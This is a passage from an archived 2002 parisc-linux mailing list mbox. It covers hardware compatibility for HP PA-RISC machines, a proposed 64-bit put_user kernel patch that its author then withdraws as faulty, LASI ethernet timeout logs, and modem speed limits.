From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@cs.helsinki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100 Base-T Ethernet card drivers / 3COM
Date: Fri, 27 Sep 2002 14:47:00 +0300
Lines: 31
Approved: news@gmane.org
Message-ID: <20020927144656.A1816@azrael.smilehouse.com>
References: <02Sep27.135037cest.119058@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621774 14813 80.91.229.3 (22 Nov 2014 02:02:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:54 +0000 (UTC)
Cc: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 05:47:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fep07-app.kolumbus.fi (fep07-0.kolumbus.fi [193.229.0.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DD904829
	for <parisc-linux@parisc-linux.org>; Fri, 27 Sep 2002 05:47:11 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.232.158])
          by fep07-app.kolumbus.fi with ESMTP
          id <20020927114707.VHB25395.fep07-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@parisc-linux.org>;
          Fri, 27 Sep 2002 14:47:07 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id OAA01830
	for parisc-linux@parisc-linux.org; Fri, 27 Sep 2002 14:47:00 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@cs.helsinki.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <02Sep27.135037cest.119058@ns.hiscom.nl>; from c.beerse@torex-hiscom.nl on Fri, Sep 27, 2002 at 01:38:41PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16309

On Fri, Sep 27, 2002 at 01:38:41PM +0200, "Beerse, Corn" wrote:
> > From: Harri Haataja [mailto:harri.haataja@cs.helsinki.fi]
> > On Thu, Sep 26, 2002 at 08:12:38PM +0100, Matthew Wilcox wrote:
> > > On Thu, Sep 26, 2002 at 09:11:08PM +0200, Sven Cronbenberg wrote:
> > > > I have two HP9000 maschines (735b and 720) standing
> > > > around here with 3COM 100mbit eThernetcards. Have
> > > > any people out there suceeded using those
> > > > ethernetcards und LINUX in the HP9000/7??s?
> > > i don't know.  it's worth trying them.
> > Wouldn't it be worth it putting together a small list (or even an
> > active web page) of working devices of any kind on HP-PA hardware?
> > Or maybe just limited to (E)ISA and pci cards or such?
> Best place would be the already available hardware database...
> Is there already a hook to that?
> 
> Or on the other hand, does HP have such a list for devices in hp-ux? I
> guess that devices that work on i386 architectures in linux and on
> pa-risc architectures in HP-UX (hence hardware does not bite and
> driver sources are available) should be usable.

I have heard only random rumours and one thingj driving me to Linux is
that HP-UX doesn't support really any cards that might be available to
me. What I'd like to see is a list of "reported working" cards and
drivers. That would ofcourse be nice on other architectures as well.

-- 
Cat said, "I am not a friend, and I am not a Servant, I am the Cat who
walks by himself, and I wish to come into your cave."
	-- Rudyard Kipling



From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MM gurus help request
Date: Fri, 27 Sep 2002 16:50:31 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <3D8F011400001618@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621774 14815 80.91.229.3 (22 Nov 2014 02:02:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 08:50:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 559B84829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 08:50:42 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 27 Sep 2002 16:50:31 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16310

Hi all,

To manage put_user(x, ptr) with x a 64bits (long long), I found another way
to access the address of x and suggest following solution.

--- uaccess.h.orig	2002-09-25 13:59:09.000000000 +0200
+++ uaccess.h	2002-09-27 16:57:06.000000000 +0200
@@ -35,10 +35,13 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
+
 #define LDD_KERNEL(ptr)		BUG()
 #define LDD_USER(ptr)		BUG()
-#define STD_KERNEL(x, ptr)	BUG()
-#define STD_USER(x, ptr)	BUG()
+#define STD_KERNEL(x, ptr)	__put_kernel_asm_64(x, ptr)
+
+#define STD_USER(x, ptr)	__put_user_asm_64(x, ptr)
+
 #else
 #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
 #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
@@ -137,6 +140,7 @@
 #define __put_user(x,ptr)                                       \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;		\
+	register long long * __tmp = 0;		\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
@@ -200,6 +204,22 @@
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
+#define __put_kernel_asm_64(x, ptr)                    \
+        __asm__ __volatile__ (                              \
+                "\n\tldw\t0(%2),%3\n"           \
+                "1:\tstw\t%3,0(%1)\n"                     \
+                "\tldw\t4(%2),%3\n"             \
+                "2:\tstw\t%3,4(%1)\n"                       \
+                "3:\n"                                      \
+                "\t.section __ex_table,\"a\"\n"             \
+                 "\t.word\t1b\n"                            \
+                 "\t.word\t(3b-1b)+1\n"                     \
+                 "\t.word\t2b\n"                            \
+                 "\t.word\t(3b-2b)+1\n"                     \
+                 "\t.previous"                              \
+                : "=r"(__pu_err)                            \
+                : "r"(ptr), "r"(&x), "r"(__tmp),  "0"(__pu_err))
+
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
@@ -210,6 +230,23 @@
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
+
+#define __put_user_asm_64(x, ptr)                      \
+        __asm__ __volatile__ (                              \
+                "\n\tldw\t0(%%sr3,%2),%3\n"           \
+                "1:\tstw\t%3,0(%%sr3,%1)\n"               \
+                "\tldw\t4(%%sr3,%2),%3\n"             \
+                "2:\tstw\t%3,4(%%sr3,%1)\n"                 \
+                "3:\n"                                      \
+                "\t.section __ex_table,\"a\"\n"             \
+                 "\t.word\t1b\n"                            \
+                 "\t.word\t(3b-1b)+1\n"                     \
+                 "\t.word\t2b\n"                            \
+                 "\t.word\t(3b-2b)+1\n"                     \
+                 "\t.previous"                              \
+                : "=r"(__pu_err)                            \
+                : "r"(ptr), "r"(&x), "r"(__tmp),  "0"(__pu_err))
+
 #endif

Could a mm gurus help me to check if I do not break memory management?

Thanks in advance for additional help,
    Joel



From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] MM gurus help request
Date: Fri, 27 Sep 2002 17:11:23 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <3D8F01140000163B@ocpmta2.be.tiscali.com>
References: <3D8F011400001618@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621775 14817 80.91.229.3 (22 Nov 2014 02:02:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 09:11:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id D064D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 09:11:28 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 27 Sep 2002 17:11:23 +0200
In-Reply-To: <3D8F011400001618@ocpmta2.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16311

Sorry it is bad :(
>
>Hi all,
>
>To manage put_user(x, ptr) with x a 64bits (long long), I found another
way
>to access the address of x and suggest following solution.
>
>--- uaccess.h.orig	2002-09-25 13:59:09.000000000 +0200
>+++ uaccess.h	2002-09-27 16:57:06.000000000 +0200
>@@ -35,10 +35,13 @@
> #define get_user __get_user
> 
> #if BITS_PER_LONG == 32
>+
> #define LDD_KERNEL(ptr)		BUG()
> #define LDD_USER(ptr)		BUG()
>-#define STD_KERNEL(x, ptr)	BUG()
>-#define STD_USER(x, ptr)	BUG()
>+#define STD_KERNEL(x, ptr)	__put_kernel_asm_64(x, ptr)
>+
>+#define STD_USER(x, ptr)	__put_user_asm_64(x, ptr)
>+
> #else
> #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
> #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
>@@ -137,6 +140,7 @@
> #define __put_user(x,ptr)                                       \
> ({								\
> 	register long __pu_err __asm__ ("r8") = 0;		\
>+	register long long * __tmp = 0;		\
> 								\
> 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
> 	    switch (sizeof(*(ptr))) {                           \
>@@ -200,6 +204,22 @@
> 		: "=r"(__pu_err)                            \
> 		: "r"(ptr), "r"(x), "0"(__pu_err))
> 
>+#define __put_kernel_asm_64(x, ptr)                    \
>+        __asm__ __volatile__ (                              \
>+                "\n\tldw\t0(%2),%3\n"           \
>+                "1:\tstw\t%3,0(%1)\n"                     \
>+                "\tldw\t4(%2),%3\n"             \
>+                "2:\tstw\t%3,4(%1)\n"                       \
>+                "3:\n"                                      \
>+                "\t.section __ex_table,\"a\"\n"             \
>+                 "\t.word\t1b\n"                            \
>+                 "\t.word\t(3b-1b)+1\n"                     \
>+                 "\t.word\t2b\n"                            \
>+                 "\t.word\t(3b-2b)+1\n"                     \
>+                 "\t.previous"                              \
>+                : "=r"(__pu_err)                            \
>+                : "r"(ptr), "r"(&x), "r"(__tmp),  "0"(__pu_err))
>+
> #define __put_user_asm(stx,x,ptr)                           \
> 	__asm__ __volatile__ (                              \
> 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
>@@ -210,6 +230,23 @@
> 		 "\t.previous"                              \
> 		: "=r"(__pu_err)                            \
> 		: "r"(ptr), "r"(x), "0"(__pu_err))
>+
>+#define __put_user_asm_64(x, ptr)                      \
>+        __asm__ __volatile__ (                              \
>+                "\n\tldw\t0(%%sr3,%2),%3\n"           \
>+                "1:\tstw\t%3,0(%%sr3,%1)\n"               \
>+                "\tldw\t4(%%sr3,%2),%3\n"             \
>+                "2:\tstw\t%3,4(%%sr3,%1)\n"                 \
>+                "3:\n"                                      \
>+                "\t.section __ex_table,\"a\"\n"             \
>+                 "\t.word\t1b\n"                            \
>+                 "\t.word\t(3b-1b)+1\n"                     \
>+                 "\t.word\t2b\n"                            \
>+                 "\t.word\t(3b-2b)+1\n"                     \
>+                 "\t.previous"                              \
>+                : "=r"(__pu_err)                            \
>+                : "r"(ptr), "r"(&x), "r"(__tmp),  "0"(__pu_err))
>+
> #endif
>
(&x) works when it is a variable not with a symbolic constant as 0.

Sorry,
    Joel



From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LASI ETHERNET
Date: Fri, 27 Sep 2002 19:55:39 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20020927165415.163874829@dsl2.external.hp.com>
Reply-To: Stephan <stephan@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1";
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621775 14822 80.91.229.3 (22 Nov 2014 02:02:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:55 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 10:54:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 163874829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 10:54:15 -0600 (MDT)
Original-Received: (qmail 29509 invoked from network); 27 Sep 2002 16:55:40 -0000
Original-Received: from softdnserror (HELO Godzilla) (httpd@212.72.204.1)
  by softdnserror with SMTP; 27 Sep 2002 16:55:40 -0000
Original-Received: from client 212.72.196.10 for UebiMiau (webmail client); Fri, 27 Sep 2002 19:55:39 +0200
X-Priority: 3
X-Mailer: Godzilla 1.0
X-MSMail-Priority: Medium
Importance: Medium
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16312

<P>eth0: link ok.<BR>eth0: i596 interrupt, exit timeout, status a040, cmd
a100.<BR>eth0: i596 interrupt, timeout, status e040, cmd a100.<BR>eth0: i596
interrupt, timeout, status e040, cmd a100.<BR>eth0: i596 interrupt, exit
timeout, status e040, cmd e100.<BR>eth0: i596 interrupt, exit timeout,
status 4040, cmd 4000.<BR>eth0: i596_add_cmd timed out, status 4040, cmd
4000.<BR>eth0: i596 interrupt, timeout, status 4040, cmd 0100.<BR>eth0: i596
interrupt, timeout, status 4040, cmd 0100.<BR>eth0: i596 interrupt, exit
timeout, status 4040, cmd 4000.<BR>eth0: command unit timed out, status
resetting.<BR>eth0: link ok.</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>Why is this error appeared?</P>
<P>Today when this error appeared, my LAN connection was broken</P>
<P>after ifdown and ifup</P>
<P>all is OK, I tried another UTP cable. I am using HP Switch 10/100</P>
<P>&nbsp;</P><br>
<br>
________________________________________________<br>
This mail was sent by Godzilla 1.0<br>



From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LASI ETHERNET
Date: Fri, 27 Sep 2002 17:59:16 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020927175916.E27592@parcelfarce.linux.theplanet.co.uk>
References: <20020927165415.163874829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621775 14825 80.91.229.3 (22 Nov 2014 02:02:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 10:59:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 115514829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 10:59:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17uySS-0003LD-00; Fri, 27 Sep 2002 17:59:16 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020927165415.163874829@dsl2.external.hp.com>; from stephan@itp.bg on Fri, Sep 27, 2002 at 07:55:39PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16313

On Fri, Sep 27, 2002 at 07:55:39PM +0200, Stephan wrote:

... absolutely nothing.

want to try again, this time without the html?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jon Sharp" <jonsharp@fastmail.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Modem communication, HP 730
Date: Fri, 27 Sep 2002 14:21:23 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <3D94A1A3.000229.16058@ns.interchange.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_NB04GPJWK2QPJEDD7TH0"
X-Trace: ger.gmane.org 1416621775 14829 80.91.229.3 (22 Nov 2014 02:02:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: derekengelhaupt@rocketmail.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 12:26:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.interchange.ca (ns.interchange.ca [216.126.79.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1C884829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 12:26:29 -0600 (MDT)
Original-Received: by mail.interchange.ca (Fastmailer, from userid 555)
	id 3C88C3CA4; Fri, 27 Sep 2002 14:21:23 -0400 (EDT)
X-Fastmail-IP: [195.92.67.71]
Original-Received: from 195.92.67.71 by fastmail.ca with HTTP; Fri, 27 Sep 2002 18:21:23 +0000 (UTC)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16314

--------------Boundary-00=_NB04GPJWK2QPJEDD7TH0
Content-Type: Text/Plain
Content-Transfer-Encoding: 7bit

> I know the internal modem of the K-class is limited to 19200.  All
> of the support modems we install for the systems are slowed down
> to 19200 even though they are 56k.  Coincidence?
> 
> derek
> 
> 
> --- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
>> "Jon Sharp" wrote:
>>> It works fine (using minicom) at connection
>>> speeds of up to 19200, after that the modem fails to respond to
>>> AT commands altogether.
>> 
>> Does anyone know at which speeds HW handshaking is necessary?
>> 730 is a pretty old machine.
>> 
>> grant

Interestingly according to a guy in an hp newsgroup it is possible 
under HP-UX, which has left me even more confused.

Thanks,

Jon
_________________________________________________________________
    http://fastmail.ca/ - Fast Secure Web Email for Canadians
--------------Boundary-00=_NB04GPJWK2QPJEDD7TH0--


From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LASI Ethernet problems!
Date: Fri, 27 Sep 2002 23:33:06 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20020927203129.6B1FB4829@dsl2.external.hp.com>
Reply-To: Stephan <stephan@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1";
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621776 14832 80.91.229.3 (22 Nov 2014 02:02:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 14:31:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 6B1FB4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 14:31:29 -0600 (MDT)
Original-Received: (qmail 864 invoked from network); 27 Sep 2002 20:33:06 -0000
Original-Received: from softdnserror (HELO Godzilla) (httpd@212.72.204.1)
  by softdnserror with SMTP; 27 Sep 2002 20:33:06 -0000
Original-Received: from client 212.72.196.10 for UebiMiau (webmail client); Fri, 27 Sep 2002 23:33:06 +0200
X-Priority: 3
X-Mailer: Godzilla 1.0
X-MSMail-Priority: Medium
Importance: Medium
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16315

eth0: link ok.
eth0: i596 interrupt, exit timeout, status a040, cmd a100.
eth0: i596 interrupt, timeout, status e040, cmd a100.
eth0: i596 interrupt, timeout, status e040, cmd a100.
eth0: i596 interrupt, exit timeout, status e040, cmd e100.
eth0: i596 interrupt, exit timeout, status 4040, cmd 4000.
eth0: i596_add_cmd timed out, status 4040, cmd 4000.
eth0: i596 interrupt, timeout, status 4040, cmd 0100.
eth0: i596 interrupt, timeout, status 4040, cmd 0100.
eth0: i596 interrupt, exit timeout, status 4040, cmd 4000.
eth0: command unit timed out, status resetting.
eth0: link ok.



Why is this error appeared?

Today when this error appeared, my LAN connection was broken

after ifdown and ifup

all is OK, I tried another UTP cable. I am using HP Switch 10/100


________________________________________________
This mail was sent by Godzilla 1.0



From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xfree86_4.2.1-0pre1v2 debs
Date: Fri, 27 Sep 2002 23:42:07 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <20020928054208.F3D604829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621776 14836 80.91.229.3 (22 Nov 2014 02:02:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 23:42:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3D604829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 23:42:07 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
